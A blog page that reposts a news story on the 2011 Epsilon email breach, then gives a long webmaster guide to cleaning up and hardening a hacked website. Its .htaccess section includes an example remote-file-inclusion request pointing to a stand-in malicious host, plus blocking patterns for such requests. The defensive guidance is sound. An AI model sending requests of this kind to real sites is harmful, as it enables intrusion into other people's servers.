JUST FOR FUN>>

2011-05-14T18:46:00.001-07:00

Epsilon email hack: millions of customers' details stolen

2011-05-05T08:10:00.001-07:00

Epsilon email hack: customers of Barclaycard US had their names and email addresses stolen. Photograph: David Levene for the Guardian

Computer hackers have stolen the names and email addresses of millions of people in one of the largest internet security breaches in US history.
The names and email addresses of customers of Barclaycard US, Capital One and other large firms were taken in an attack on the marketing email provider Epsilon last week. British customers of Barclays Bank, which owns Barclaycard US, were not affected. A spokesman for Barclaycard US confirmed to the Guardian that it would continue to work with Epsilon despite the breach.
Other information, such as passwords or credit card details, are not thought to have been exposed. However, some banks have warned customers to expect fraudulent emails attempting to solicit further login details.
The UK Information Commissioner's Office (ICO), which investigates data breaches of this kind, said it was making inquiries into whether any Britons were among those affected.
Epsilon, which provides marketing services via email to about 2,500 companies, put a warning on its website on Friday stating that its systems had been "exposed by an unauthorised entry" into its email system. Epsilon said it would not be comment further on the breach when contacted by the Guardian. It is not yet known who perpetrated the attack, which US law enforcement agencies have begun investigating.
"The information that was obtained was limited to email addresses and/or customer names only," Epsilon said in its statement. "A rigorous assessment determined that no other personal identifiable information associated with those names was at risk. A full investigation is currently underway."
Over the weekend, dozens of Epsilon clients began to warn customers that their email addresses may have been stolen. Some of the largest financial institutions in the US, such as JPMorgan and Citigroup, are among the companies affected. Best Buy and Walt Disney subsidiary Disney Destinations also began warning its customers about the security breach. The list of companies affected is expected to continue to grow.
TiVo, the US video-on-demand company, wrote to its customers on Sunday morning: "Please note, it is possible you may receive spam email messages as a result. We want to urge you to be cautious when opening links or attachments from unknown third parties."
A list of millions of email addresses with their source is likely to be incredibly lucrative for so-called "phishing" scams, where credible-looking emails are sent to people soliciting other sensitive information, such as bank account details.
"Losing your email address via a service to which you already belong makes it much easier for scammers to hit you with emails which match your existing interests, at least loosely," said Paul Ducklin of internet security firm Sophos. "That, in turn, can make their fraudulent correspondence seem more believable."
The attack has drawn parallels with other large-scale computer infiltrations, most notably the Heartland Payment Systems breach of 2008. More than 40m bank account details were stolen in that attack, conducted by a criminal gang led by notorious hacker Albert Gonzalez. Gonzalez was later sentenced to 20 years in prison.
Last month an Iranian hacker claimed he stole digital security certificates used for online transactions by some of the web's largest sites, including Google, Yahoo, Microsoft and Skype.

How to prevent your site from getting hacked. How to repair a damaged site

2011-05-05T08:01:00.000-07:00

How to prevent your site from getting hacked. How to repair a damaged site. Website security precautions.

[This article is frequently updated and expanded. It is gradually being broken apart into separate articles because the Google language translator doesn't translate all the text of large pages.]

[Contrary to one of the tags applied to this article at StumbleUpon, this site has never been hacked in more than 1,000,000 attempts. Everything reported here is based on experience gained from helping others with compromised sites and from continual study about improved methods of protection.]

Bookmarks on this page:

Hack prevention. How to protect your site.

Step-by-step site repair

Hopefullly, this detailed step-by-step procedure will help focus on the tasks and avoid panic.
The concepts apply to any server even though it is Linux, Apache, and cPanel methods that are described in detail.
The steps are in order of priority if the evidence you've found so far hasn't already given you a clear idea what things to focus on first.

The reason these procedures are described in so much detail is so that people who have never done them don't have to go hunting around the web for specifics. If you already know the specifics, you'll see that the steps are much less complicated than they look at first glance, and you can skip the long explanations.

If you just start at step 1, focus, and dive in, what you learn now will help you manage your site with a lot more confidence in the future. These are all useful things to know how to do. You might even wind up feeling like an expert.

What not to do

Don't just repair the damaged files and hope this experience doesn't happen again. That is not enough.

Nobody is ever supposed to be able to add, delete, or change files in your website without your permission. It should never happen, and it usually doesn't. Most websites don't get hacked. If yours did, there is something wrong with it, or with the server, or with the webhost, or with the security on your PC. You have to figure out how this happened so you can prevent it from happening again.

Ok, let's get started... The checkboxes don't do anything. You can check them to help keep your place as you go.

1) Log into cPanel

Most webhosts provide some kind of control panel such as cPanel or Plesk where you can manage your website's configuration and files. One reason for logging in now is to check for unauthorized logins as described below. The more important reason is to make sure you know how to do it, because several of the later steps are done in control panel.

If you've never logged into your control panel before now, go to the home page of your webhost's website and look for a customer login box. If there isn't one, look for a FAQ page where they might describe how to access your control panel. If you still find nothing, file a support ticket and ask them.

In cPanel (and possibly in Plesk), the line that says "Last login from:" should always be your IP address from the last time you logged in. If it isn't, write it down.

If you don't know your IP address, it appears to be 125.164.2.231, but that could be incorrect if you are viewing an old copy of this page from your browser cache or a search engine cache. You can find your IP address in Windows XP by either of these two methods (you must be connected to the internet at the time you do this):

Click on the internet connection icon in your system tray (lower right of screen) . In the dialog box that opens, click the Details tab, and then read the line that says Client IP address.
Open a Command Prompt and run the ipconfig program:
start > Run > cmd
Type: ipconfig
Read the line that says IP Address
Type: exit

With high-speed (broadband, DSL, cable) internet service, your IP is always the same. With dial-up, it's different each time you log on.

If someone was able to log in to your control panel (like you do), they have your userID, password, and all the same access to your site that you have. They can probably also get FTP access, which is what they are more likely to use than cPanel. However, before you assume the worst, an unfamiliar IP could be legitimate if your site is at a webhosting company and you recently submitted a support ticket. A technician might have logged into your account while investigating.

The three pieces of information you should keep from this step are:

How to log in to your control panel.
Your legitimate IP address, so you can recognize IP addresses that are not yours in places where only yours should be.
Suspicious IP addresses you find reported in cPanel.

Leave cPanel open for the next two steps.

2) Enable log archiving in cPanel

Your website access logs keep detailed records of who connects to your site by HTTP (normal visitors) and by FTP (file transfers such as when you publish pages). By default, those logs are deleted every day after the stats run (Webalizer, AWStats, ...). Log archiving forces the logs to be saved. If archiving was already on, the attack is most likely recorded, which will be useful. If it was off, the data is lost unless the daily stats run hasn't been done yet, but subsequent similar attacks, which are likely, will be logged.

Go to cPanel > Raw Log Manager (the name varies in different cPanel versions).
Check the "Archive Logs..." box.
Uncheck the "Remove the previous month's archived logs..." box.
Click Save

3) Take your website offline

If your pages have become infected with viruses that will attack your site visitors, which is usually the case, you should protect your visitors, and your reputation, by taking your site offline, which involves adding a few lines to your .htaccess and optionally uploading a file. If you do this right away, you might avoid getting the "This site may harm your computer" warning in Google search results and a similar warning at Yahoo.

Are you hesitant to take your site offline? Consider this: a visitor who finds your site down will hardly notice the incident and will (or at least might) come back later. A visitor who gets attacked by a virus from your site will develop a strong memory of the incident and probably not come back, ever.

In addition, it is possible that a script with a security hole was the reason the site got hacked. As long as that script is publicly accessible, the site remains vulnerable, which means it could get hacked again even while you're trying to repair it.

Lastly, it is possible the attacker installed a backdoor script to let themselves back into the site. Closing the site at least has a chance of locking them out and making it impossible for them to use the backdoor, giving you time to find and delete it.

4) Notify your web hosting company

File a support ticket.

Tell them what has happened. Give them as much detail as you can about the evidence that the site is compromised.
If you have some idea when it happened, or when you first noticed it, tell them.
If you found an unknown IP address in cPanel, report it.
Give them a secondary email address that is not at your website so your host can still contact you if your site goes down or if the hacker is reading or deleting your website email.
Some webhosts will be willing to help you investigate and clean the site. Others won't, but it doesn't hurt to ask if they can help or give advice.
If you're on shared hosting, it is possible that the host is aware of other sites on your server that are affected. They probably won't publicize it and might not even tell you, but your report will help them, even if they don't admit it.
Also, only your webhost can clean up files outside your webspace that might have been affected.

5) All site administrators do antivirus, antispyware scans on their PCs

It is a new development in 2009 that the #1 cause of website hacking is the webmaster's personal computer being infected by malware that steals FTP login information and sends it to remote computers which then inject the victim website's pages with JavaScript or hidden iframes pointing to malicious websites such as gumblar.cn, martuz.cn, and a growing list of others.

Make sure everyone who has password access to the website does at least one, and preferably two, antivirus and antispyware scans on their local computers, using two different scanners they don't normally use, to find threats that got past the AV scanner they were using. Some free scanners are at: Trend Micro Housecall, Kaspersky, Malwarebytes, Symantec (Norton), BitDefender, Windows Live OneCare, Computer Associates, McAfee, F-Secure.

As long as the webmaster's PC is infected, changing the password is no use. The new one gets stolen, too.

6) Change all passwords: cPanel, FTP, databases, email

After the administrator PCs are free of viruses and spyware, change all the website passwords that you use for control panel, FTP, database connections, email, everything. Use strong passwords. If you have been using a single password for more than one purpose, take this opportunity to make every password different. The linked article explains why this is important.

a) If the FrontPage Extensions are installed on the site, change your FrontPage password first:

Open your local copy of your site in FrontPage
Click the Remote Web Site tab and log in
Click Open your Remote Web site in FrontPage (this will open a new copy of FrontPage with your remote site in it)
Click Tools > Server > Change Password and follow the instructions. Whenever you get a password prompt during this procedure, it wants the old one. It doesn't want the new one until it asks for it.

b) Log in to your webhosting account and change your cPanel / FTP passwords there

In cPanel, look for a "Change Password" icon or link. If you find none, your webhost might provide a separate login location for making password changes, so search their FAQ, forum, or ask customer support.

If you have scripts that use your cPanel userID/password to open database connections, the password change will cause those scripts to stop working, and you will get connection failure or "Could not connect" errors:

If the connection data is hard-coded into the scipts, go through the scripts and change the password in all of them.
If your scripts read the connection data from an include (or other) file, change it in that file.
Since you're editing the files anyway, a better and more permanent solution is to stop using your cPanel userID/password, create a different user/password just for database connections, put the connection data in one protected include file, and have all your scripts read the data from that file. The procedure for making that change is described below.

c) Change the passwords you use for database connections

If your scripts connect to your databases as a user that is not your cPanel userID, the password change will not break your scripts. However, the hacker could have read the connection data for all your MySQL users from your files, so change all those passwords, too:

Go to cPanel > MySQL® Databases > Current Users.
In the list, find the user you want to modify. In shared hosting (and maybe in other environments, too), the username is prefixed with YourUserID_.
In Username: enter the name of the user, but do not enter the prefix or the underscore. Enter only the part after the underscore. If the user is userID_example, then you enter example.
In Password: enter the new password.
Click Create User.
The confirmation screen will tell you that the user was created with the new password.
When you return to the MySQL Account Maintenance screen, you'll see that you have not really added a user, but only replaced the old one's password, and that this user still has the same privileges in the same databases that it had previously. You will also see that cPanel has automatically added the userID_ prefix to the username.
Now change all your scripts to use the new passwords. See the bullet points in section b) above.

d) Change the passwords for all your email accounts

Go to: cPanel > Mail > Add/Remove/Manage Accounts.
Set a new password for each account.
If you access your email with a POP or IMAP email client such as Microsoft Outlook, change its configuration settings so it knows the correct new password for each account.

7) Upgrade all third party scripts to latest versions

Make a list of all the scripts you use. For each, if you are not using the latest version, upgrade now.

Follow links in the table below to find latest version information for some common scripts, and to view the latest security advisories at Secunia.com. The Secunia page often lists vulnerabilities found in plug-ins or add-ons. Check those, too. If there is a recent security advisory for a script you use that is outdated, there is a good chance you've found the reason your site was hacked.

8) Examine your own PHP or ASP.NET code for security holes

The "What is a website hack?" article (top of this page) has more information about the following three most common exploits of custom code, and some others:

Remote File Inclusion (RFI), Local File Inclusion (LFI)

The following PHP functions:

include($variable);
require($variable);
include_once($variable);
require_once($variable);

can be tricked into fetching a malicious script from a remote server and running it as part of the currently executing script if the value of $variable came from an HTTP query string or other user-supplied input and if the value supplied is a URL (web address) rather than the value that the programmer expected.

They can be tricked into divulging the contents of password or other sensitive files if the supplied value of $variable is a local file path on the server.

SQL Injection

When an HTTP query string, or any other data from the outside such as input to a search box, is used in the building of an SQL database command string, maliciously crafted input can corrupt the SQL command, causing it to inject content into database tables or list the contents of the database (such as user names and passwords) on the output page. A widespread attack that used SQL injection was called ASPROX.

If you suspect that a script you wrote yourself might be the security weakness, it is safest to stop using that script until you can examine it carefully. After making a local copy for yourself, delete the script from the server. Removing the links to it isn't enough. As long as the script is on the server, anyone who already knows its name can still access and exploit it. If you leave it on the server, at least rename it.

9) Find and repair all the malicious changes that were made

Now that you have discovered where the security weakness was, and fixed it, it is now safe to repair your website's content, because the attackers won't be able to damage it again.

As described in the "What is a website hack?" article (top of this page), after someone has gained access to your site, they can change anything they want and can do an extraordinary amount of damage. In order of most to least common:

Alter .html, .php, and other text web pages, usually to inject iframes, JavaScript, links, PHP, or other malicious code.
Modify database tables, usually to inject the same types of content listed above, so it will appear on your pages.
Add new files.
Add executable programs to let the attackers "manage" your website files remotely, grant them access even after you clean up (back doors), send spam, connect to IRC servers for botnet communications, mass-attack other websites, etc.
Subvert the operating system, putting the entire server under the control of a remote operator.

However, they rarely do all those things because a server so massively compromised would be quickly noticed, and they don't want that. Usually, they do the first or second item and possibly the third, meaning that you will probably have to clean up malicious changes in your website files or database tables, and look for new files that shouldn't be there.

Two "clean sweep" shortcuts: replace entire website from known-good backups

Steps 9a) to 9d) describe ways to locate and repair files that have been maliciously altered, which can be a time-consuming and painstaking chore, especially if you're not comfortable working with HTML code.

In some cases, it can save time to simply replace everything that might have been damaged with fresh copies that you know are clean. However, doing this destroys the evidence you might need for determining how the attack occurred and how to prevent it happening again. Therefore, before doing this, you should already have a clear idea why the attack succeeded, or should make a copy of the hacked site so you can study it later:

Less drastic - replace contents of public_html: If you are thoroughly familiar with what is in your public_html folder and you are certain this method won't destroy irreplaceable files, you can use cPanel > File Manager or FTP to delete all the files and folders inside /public_html (but don't delete the public_html folder itself) and republish the entire site from a known-good backup.

It will still be a good idea to look for damaged files or malicious new ones in your root directory (/) and its other subdirectories other than public_html.
More drastic - reprovision: To really start fresh at a shared host, you can ask the host to "reprovision" your account, to recreate it as though it is brand new. You lose your historical logs and stats and must build the site up from nothing. I recommend against this unless all other options have failed.

If you have published your site from known-good backups, you can skip a ton of trouble and go to Step 10)!

9a) Get a complete listing of all the files in your website

These sections (9abc) describe three ways to view a list of all the files in your website: shell command (cron), FTP, and cPanel File Manager.

Linux "cron" allows you to run a shell command that emails to you a complete listing of all the files in your site, showing for each the name, timestamp, size, owner, and all the permissions settings. This is by far the best method. It is described fully in a separate article that also explains Linux file and folder permissions.

How to use the directory listing:

It is ideal if you have a similar list that you made previously when the site was clean. You can compare the two to find files that have changed size, files whose timestamps or permissions are not what they should be, and new files that shouldn't be there.

If you don't have a known-good list to compare against, you can still review the new list for files that seem out of place or have wrong ownership or permissions. This will be discussed below.

9b) Examine your site's files in cPanel > File Manager

FileManager allows you to easily review filenames and permissions, but it doesn't show any other information about the files, and navigating up and down the directory tree is a tedious process. File and folder permissions are shown numerically. The article linked above at "Get a complete listing" describes how to translate between numeric "755" and "rwx" notation.

9c) Examine your site's files using FTP

In an FTP view of your website, the folders and files look like what you are used to in Windows Explorer, with a navigational directory tree pane on the left and a folder contents pane on the right. FTP view is easy to navigate, and it allows sorting on the Date Modified column to easily spot recently changed files. If you are unfamiliar with viewing your site by FTP, this article describes how to use Windows Explorer for that, and it has a link to a free Firefox plugin (FireFTP) that does it better.

9d) What to look for in the list of files

Pages with modified dates more recent than you last saved the page yourself. Inspect each modified page to see if code has been added to it. Malicious changes to your displayable website pages often take the form of invisible iframes or "obfuscated" JavaScript. A separate article, what to do when Google flags your website with a "This site may harm your computer" warning, describes how to locate and identify malicious iframes and JavaScript, with examples. It also describes how the domain name referenced in the iframe can help discover the method by which your website was hacked.

If malicious JavaScript or iframes were added to your pages, the intent of the attack was probably to launch browser exploits against your site's visitors.
New files with obviously suspicious names. Some hacks install files with names like hacked.html or vulnerable.php, etc. Others might have nonsensical names or names consisting of random character strings. Some might be in locations that make them suspicious, like a .php file in your /images folder. If you find a file that was definitely installed by the attack, search for other files that have almost the exact same timestamp.
Files you don't recognize. Determine whether each one is malicious or not. You can examine plain text PHP (.php) or Perl (.pl) scripts in a text editor.

Unfortunately, you cannot simply delete all the files that aren't yours. Some are required system files that you just never noticed before. When in doubt, do a web search on the filename or post a question in a forum. Research the names of unfamiliar CGI programs, since they cannot be examined visually.

If an exploit modified files on your server but didn't affect your displayable pages, it suggests that your site visitors weren't the target of the attack. Instead, it might have been trying to turn your site into a spam emailer or into a robot crawler to attack other sites, or to install on your site a library of malicious scripts or other content to be called by injected iframes or RFI attacks on other websites.
Check your root directory ("/") and its subdirectories for malicious or altered files. Even if you delete the contents of your public_html and republish the site from scratch, that doesn't overwrite your folders above public_html, so you must check those manually.

9e) Search your website files for suspicious changes

This PHP script can help search your website for suspicious filenames, for suspicious code, and for other suspicious text.

10) Check that your file and folder permissions are secure

Using the complete file list you made, make sure file and folder permissions are what they should be. Although your complete file list is a text file, the search isn't too difficult. You can search for suspicious "world-writable" 777 folder permissions by searching for the equivalent "rwxrwxrwx" in the text. World-writable 666 file permissions appear in the text as "rw-rw-rw-".

Common correct permissions for world-readable (but not world-writable) folders are 755 (rwxr-xr-x), and common permissions for world-readable files are 644 (rw-r--r--). Those are what you should mostly expect to see.

There are only two situations where world needs write access (777 / 666), and both only apply if your server is configured with PHP as an Apache module:

A file needs 666 permissions if PHP needs to a) open the file and write data into it, or b) copy another file to the directory entry currently occupied by this file.
A folder needs 777 permissions if PHP needs to a) dynamically create new files in it, or b) delete existing files from it. However, if PHP only needs to open and modify the contents of an existing file or even copy another file to the directory slot occupied by an existing file, the folder does not need 777 permissions. It is only necessary that the destination file have 666 permissions. That is counterintuitive because you would think that copying a file involves deleting the existing file and putting the new file where it was, but that is not how Linux views it. It only considers it a change in the file's content, not a change to the directory, so the directory can remain read-only. This is important because there may be some files that PHP only needs to create once, during a program's initial installation when it's setting up its data files. After that, it's possible PHP can do everything it needs with the file set to 666 but the directory locked back down to read-only 755. That is much better because although that one file remains potentially vulnerable to modification, a hacker cannot put new malicious files in a 755 directory.

If you find world-writable permissions on a file or folder, consider it potentially suspicious because those are areas the hacker could have accessed most easily:

Check the contents of 777 folders to ensure they don't contain malicious new files.
Check the contents of 666 files to ensure they don't contain new malicious code.
If you can't think of a good reason why the loose permissions are necessary (does PHP really need to make the changes those permissions allow?), try tightening them to 755 / 644.
Even if you do know why the loose permissions are necessary, try to think of a way to make those permissions unnecessary.

11) Change all your passwords again

In case someone was "watching" inside your site while you did it the first time, do it again now that you know the site is clean.

12) Try to identify the IP address that attacked you

This is not to hunt down the attacker, which is usually pointless (most are robots, and there are millions of them). Rather, the IP address helps find other important information about the attack.

If you can identify their IP address, you will be able to search all your logs for all the places where that IP address appears. That will help identify what weak part of your site was attacked, how it was attacked, and what malicious actions were performed.

Stats programs like Analog, Webalizer, or AWStats won't be much help because they generate aggregated summary statistics. You need the details about individual page requests.

cPanel > Web/FTP Stats > Latest Visitors is useful and easy. It's a good place to go when you first discover the problem, but it's only a start. The raw log text files are a better source of information.

a) If you have never used your site's raw access logs before, get a program to unzip .gz files:

Your website's raw access logs are stored and sent to you as gzipped files. One program that will easily extract .gz files is 7-Zip. It is a command line utility that you run from a "Command Prompt" (aka "DOS box").

b) Get your logs from cPanel > Raw Log Manager

The log file location in Plesk has a similar name. If you don't have cPanel, Plesk, or a comparable control panel, you can usually get the logs by FTP, usually from a folder outside public_html, with "logs" or "access logs" in its name. Some shared webhosts don't provide access logs, or they charge an extra fee for them.

Go to cPanel > Raw Log Manager. If you don't see a log file there, try cPanel > Raw Access Logs. That is a holding file where your data is stored until the server does its daily statistics processing, after which the data file is transferred to Raw Log Manager.
Click the name of the file you want to download.
At the Open or Save prompt, click Save. Use a descriptive filename. Save the file to a folder that will be easy to navigate to in a Command Prompt. C:\TEMP works well.
Open a Command Prompt:
Start > All Programs > Accessories > Command Prompt, or
Start > Run > cmd.exe
Go to the folder where you saved the .gz file: cd \TEMP
Type the command line to extract the .gz file: 7za.exe x filename.gz
You should get a report that says "Everything is Ok".
I usually delete the .gz file and rename the output file to .log.
The unzipped log files can be extremely large. In Windows, WordPad can handle up to about 12MB. For easier viewing, set the font to a monospaced font like Courier New, with word wrap Off. Notepad++ can handle files of 100MB or more. In Linux, the gedit editor capacity seems almost unlimited.
If you are comfortable using Microsoft Access, the Webstats.mdb database has tables into which you can import your log files.
The HTTP log will also import into Excel, but you will need to tweak the text import wizard settings to get the fields into their columns properly.

Go through the logs carefully, looking for suspicious activity in the days before the attack occurred, and keep monitoring your logs in case the hackers come back, which they often do.

Your HTTP log shows the visits to your site by HTTP, the request method normally used by ordinary visitors (using their browsers), robots, and hackers.

It's not always easy to determine which lines in an HTTP log are suspicious and which ones aren't. At my hack attempt identifier online calculator, you can paste lines from your HTTP log to find out which ones are hack attempts. It classifies the attempts by type so you can see what ways your site is being attacked, and it explains how the different types of attack work.

If you find suspicious changes made to your site (such as file timestamps that are not from when you changed the files yourself), you can try to correlate those changes with the suspicious entries in your log.

For example, a hacked file's timestamp will often show when the hack occurred (unless the hacker made a special effort not to change the timestamp). If your HTTP log shows a malicious request at the moment of the changed file's timestamp, that is very suspicious.

It could indicate that the file requested by the hack attempt had a security vulnerability that the hacker was able to exploit with their request. The exploitable file does not have to be the same file that was modified. The exploitable file is just the doorway to get at the other files. In this case, you would examine the requested file (not the modified file) for possible security vulnerabilities. This is how your logs can help identify how a hacker got in.

As another example, if you use a database, and if SQL injection attacks are the only type of hack attempt your site ever receives, SQL Injection becomes your primary suspect.

Your FTP log shows FTP accesses to your site. FTP stands for File Transfer Protocol. In contrast to HTTP, which is most often used to request files for viewing, FTP is a method of transferring files both to and from your server. It's normally used only by you, the site administrator, but if malicious people or robots manage to log into your FTP as you, they can download your pages, modify them, and upload them back to your website. The only IP addresses in the FTP log should be yours and other authorized FTP users. Make sure the timestamps match times you were logged in and doing transfers.

There is reference information about FTP log file format at Apple Developer Connection.

I've seen reports of numerous instances where a webhost spotted in an FTP log a transfer from an IP address other than that of the site owner and immediately informed the owner that their password had been stolen. In too many of these instances, the surrounding circumstances make the webhost's claim unbelievable. Here is an alternative explanation:

PHP scripts called by RFI attacks sometimes use PHP's FTP file transfer functions to download additional malicious scripts and related files from a remote server so it can run or install them. The initial RFI includes the remote script into a legitimate script on the victim server, at which point it becomes a part of that script. The script then initiates an FTP transfer, which is recorded in the FTP log. The server does not show its own IP address in the FTP log, but rather that of the second party to the transfer, the remote website. The log of the session makes it appear as though someone logged in (which would have required the password) and initiated an FTP transfer, but in fact there never was a login. There didn't have to be one, because the session was initiated on the server, from the inside.

Remember this as a possibility if you find IP addresses other than yours in your FTP log or if your webhost tries to convince you too quickly, without considering other evidence, that your password "must have been" cracked. The danger of believing this easy story line (if it is not true) is that it can lead you to believe that all you have to do is change your password. However, if the real initiator of the FTP transfer was an RFI attack, changing your password won't help at all.

c) Use .htaccess or cPanel > Deny IP to block the hacker's HTTP access to your site

If you identified the hacker's IP address, one site where you can look it up to get more information about it is http://whois.domaintools.com/.

You can ban the IP address from your site using your public_html/.htaccess file. Apache documentation for this is at: http://httpd.apache.org/docs/1.3/mod/mod_access.html.

Review the instructions in a prior article for how to open .htaccess for editing. As described there, insert the following line in a part of the file that is not enclosed in HTML-like tags.

deny from nnn.nnn.nnn.nnn

The nnn's are the IP address to block.

If the hacker returns with a different IP that is in the same IP range (i.e. using the same ISP), you can block the whole range for a while, although that carries the risk of banning legitimate visitors, too.

The Apache documentation has instructions for banning a range. Some IP ranges are easily specified using a simple wildcard notation. Others ranges can only be successfully defined using "CIDR/netmask" notation. Although it looks intimidating, it's easy after the first time you do it. See the separate article describing how to calculate and use the CIDR/netmask.

d) If the hacker has obtained access to your cPanel or FTP, banning their IP address in .htaccess will NOT keep them out of cPanel and FTP.

If they have scripts that they call by HTTP, it will prevent them from doing that, but only until they log into cPanel and un-ban themselves in .htaccess.

13) Report or go after the hacker legally?

Hacking is a violation of the terms of service for any legitimate webhost or ISP. If you can prove conclusively that someone is using a particular IP address for hacking (or spamming, too), you could report the incident to the webhost or ISP in hopes that they might shut the perpetrator down. The contact email is often abuse@ the company.

However, your chances of getting anywhere with this aren't very great. Even if you succeed, it's a drop in the bucket. Although you might feel as though you are in a battle of wits with a wily adversary, it is thousands of times more likely that you were hit by an automated drive-by attack that is playing a percentage game, with malicious requests being launched against millions of websites, from hundreds of malicious servers. If one is shut down, it's just a cost of doing business for them.

It is a more worthwhile use of your time to do everything you can to protect your site from all hackers, regardless of who they are, and understand that there will be a constant flood of attacks against your site.

What to do NOW to protect your website

Website security precautions

Sections 1-5 are absolutely necessary. They do not require a lot of technical knowledge.

1) Maintain strong security on the computer that you use to manage your website

Someone who successfully infects your PC can use it to get into your website. That is very common.

On any Windows PC (does not apply to Linux, Mac) that you use to administer your website, install good quality antivirus software to keep it free of viruses and Trojan downloaders that can install spyware such as keyloggers and password-stealers. Get real-time ("on access") protection that detects malware immediately when it is received. "On-demand" scanning (such as once a day or once a week) is not good enough. Malware can do all its damage, steal your data, and even delete itself, before you get around to doing a manual file scan.
On a Windows system, once a month, while logged into your PC as an Administrator, visit Windows Update to install the latest security patches for Microsoft products, including Internet Explorer.
Keep all your internet-related software such as browsers, plug-ins, and add-ons up to date with the latest security patches. Examples are Adobe Reader, Flash, and Java. You can check whether your Firefox plugins are up to date at Mozilla Plugin Check.
Use adequate security settings in your web browser. When Internet Explorer and Firefox are first installed, their default security settings are not high enough, and most people don't change them. Set JavaScript so it is Off by default and only enabled for trusted websites that require it. Follow best practices for IE, and use the NoScript add-on in Firefox.
On a wireless network or in a public "hot spot", your data is transmitted by radio, and it is easy for someone nearby to monitor everything you send and receive that is not encrypted. Normal web browsing on http:// websites is not encrypted, and neither is a normal FTP login. Whenever you are "working wireless", use encrypted https:// to log in to your server, and use secure FTP (SFTP) to transfer files.

2) Follow accepted best practices for your website passwords

Use strong passwords: 8 to 20 random upper/lower/numeric/punctuation characters.
Use a different password in every location.
Only give your password to people who must have it.
If you give your password to someone temporarily, change it as soon as their work is finished.

Here is an entire article about why good passwords are so important. It has a strong password generator and password input boxes where you can practice typing strong passwords accurately to get used to them.

3) Choose third party scripts carefully

Don't load your website with every cool script, gadget, feature, function, and code snippet you can find on the web. Any one of them could let a hacker into your site. Before you use something new, read its vulnerability report at Secunia.com, and do a web search on it to see if people talk about it as a security hazard. Some add-ons and templates are actually designed to be malicious. Ways to avoid those are described by the Google Blogger Team in Keeping Your Blog Secure.

4) Keep third party scripts up to date

Once you have installed a script such as WordPress, SMF, Coppermine, phpBB, or any others, find a way to make sure you are notified quickly when security updates are released. Get on a mailing list, subscribe to an RSS feed, subscribe to a forum board, create a Google Alert, whatever you need to do. When a security update is released, install it within 1 day, if possible.

5) Don't weaken your server's file and folder permissions.

Each file and folder on your server has permissions settings that determine who can read or write that file, execute that program, or enter that folder. Your webhost initially created your webspace with secure permission settings on all files and folders.

Do not modify the permissions until you know what you're doing. Don't guess. One mistake can allow any other account on your shared server to put files on your site, or allow anyone in the world to put files there by first getting into a weaker website on your shared server and running a malicious PHP script from there.

People having trouble installing web applications on their site are sometimes told to try setting the Linux permissions to 777 (for folders) or 666 (for files). Those permission levels are sometimes necessary, but they are a hazard and should only be used for folders and files for which it's absolutely necessary and only during times when it's absolutely necessary. For example, sometimes 777 only needs to be used during installation or during configuration changes or software upgrades. At other times, the application might function just fine even if you change the permissions back to more secure settings. In other words, if you need to use insecure permissions, try to minimize the amount of time they are in effect. There is no reason to leave permission levels low all the time if you only need them to be that way occasionally. Also, if software installation instructions tell you to delete the installation script itself after use, remember to do it. If it's left on the server, someone else who knows it's there (or knows it should be there) can run it, just like you can.

A separate article has a short explanation of permissions settings.

6) Write your own scripts securely

These precautions are also absolutely necessary, but only if you write your own program code.

For the language you use, find and read an overview about security: PHP, ASP.NET, Cold Fusion, ...
When you use an unfamiliar function for the first time, check the manual for security considerations.
Learn to instinctively distrust data from the outside world. Write your code so that incoming malicious input can't trick it into doing something it shouldn't. Outside data includes: incoming form submission data, HTTP query strings, cookies.
Learn how to prevent "Remote File Inclusion". (#1 most common security error)
Learn how to prevent "SQL Injection". (#2 most common security error)
There are lots of online resources for learning how to code securely. All it takes is a web search.
For PHP, use a good php.ini file for extra security, to block common attacks.

7) Block suspicious activity with .htaccess

These are extra precautions that provide an additional layer of security. If you understand what this section is talking about, the discussion and code examples should help you to put some good protections in place. If you don't understand this section, don't worry about it unless you are under constant attack and other remedies have failed.

Download and examine your raw access logs, or analyze the lines here. You will most likely find attacks of the types described in my articles. Even if the attempts are unsuccessful, your logs give early warning about what methods are being used, which gives you time to figure out how to defend against them. Here are some examples of how to block suspicious activity:

Ban bad robots.
One program often misused for automated remote file inclusion attacks is called "libwww-perl". The RFI cannot succeed if your server refuses to serve the file, so blocking this commonly malicious User-Agent is one defense. Put the following lines in your public_html/.htaccess, in a part of the file that is not delimited by HTML-style tags like <tag></tag>:

SetEnvIfNoCase User-Agent libwww-perl block_bad_bots
# to deny more User-Agents, copy the line above and change
# only libwww-perl, to match the new name.
deny from env=block_bad_bots

SetEnvIfNoCase does a case-insensitive test of the User-Agent against a regular expression, which in this case is "contains libwww-perl". If it matches, it sets the variable block_bad_bots. The final line says if block_bad_bots was set (i.e. if the requestor matched any of the bad robots), deny the request and send a 403 Forbidden error instead. Regardless of what the bad robot was trying to do, it won't succeed.

Ban suspicious URL query strings.
Another defense against RFI is to block all requests having the form:
GET /index.php?inc=http://badsite.com/badscript.txt?
The following .htaccess code blocks any request where the query string (the part after the first question mark) contains "=http://" or "=ftp://". During times when you need to use a query string of that type yourself, you can comment out the code block or enable the exception shown:

# If the next line is already in your .htaccess, you don't need to add a 2nd one.
RewriteEngine On
RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\://.*$ [NC]
# Allow yourself, for SMF Forum Package Manager upgrades.
# Set it to your own IP address so you are the only one who won't be blocked.
#RewriteCond %{REMOTE_ADDR} !^111\.222\.333\.444$ [NC]
RewriteRule .* - [F,L]

To test: you should get a 403 Forbidden error when you try to go to:

http://yoursite.com?test=http://yoursite.com/anypage.htm
http://yoursite.com?test=ftp://yoursite.com/anypage.htm

If you have coded your pages so they use remote file includes from your own site or from some external site (such that your site receives requests, constructed by you, that have URLs in the query strings), my first advice is that you should try to stop doing that:

· Instead of sending your own site a request that has a URL in the query string, you can put in the query string a text string that the receiving page translates into a URL after it receives it. That way, your script can't be tricked by someone who sends it a malicious URL instead of one of the legitimate ones it expects.

If you must send your own site requests that have URLs in the query strings, you can use a more complicated .htaccess to allow your own remote file inclusion requests but ban others:

# FIRST, DISALLOW QUERY STRINGS CONTAINING MORE INSTANCES OF http://
# THAN WE EVER USE OURSELVES, TO LIMIT THE NUMBER OF TESTS WE MUST DO LATER.
# THIS EXAMPLE ALLOWS ONLY INSTANCE PER QUERY STRING.
RewriteCond %{QUERY_STRING} (.*http(\:|%3A)(/|%2F)(/|%2F).*){2,} [NC]
RewriteRule .* - [F,L]

# NOW WE CAN TEST EACH INSTANCE AGAINST THE LIST OF SITES WE WANT TO ALLOW.
